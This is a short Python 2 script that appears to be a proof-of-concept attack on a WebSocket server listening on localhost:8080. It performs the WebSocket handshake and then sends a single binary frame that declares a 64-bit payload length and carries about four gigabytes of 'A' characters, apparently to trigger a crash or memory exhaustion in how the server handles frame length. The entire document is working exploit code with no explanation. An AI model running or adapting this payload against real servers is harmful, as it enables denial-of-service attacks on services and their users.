#! /usr/bin/python import socket import struct def read_response(s): data = '' while '\r\n\r\n' not in data: data += s.recv(1024) return data request1 = '' request1 += 'GET / HTTP/1.1\r\n' request1 += 'Host: localhost:8080\r\n' request1 += 'Upgrade: websocket\r\n' request1 += 'Connection: Upgrade\r\n' request1 += 'Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==\r\n' request1 += 'Sec-WebSocket-Version: 13\r\n' request1 += '\r\n' def websocket_connect(): s = socket.create_connection(('localhost', 8080)) s.send(request1) response = read_response(s) return s def websocket_send_large(s, data): pkt = '' pkt += struct.pack('!B', 0b10000010) # FIN . . . BINARY_FRAME pkt += struct.pack('!B', 127) # 7+64 pkt += struct.pack('!Q', len(data)) # payload length pkt += data while len(pkt) > 0: s.send(pkt[:0x1000]) pkt = pkt[0x1000:] s = websocket_connect() websocket_send_large(s, 'A' * (0xffffffff)) print s.recv(1024).encode('hex')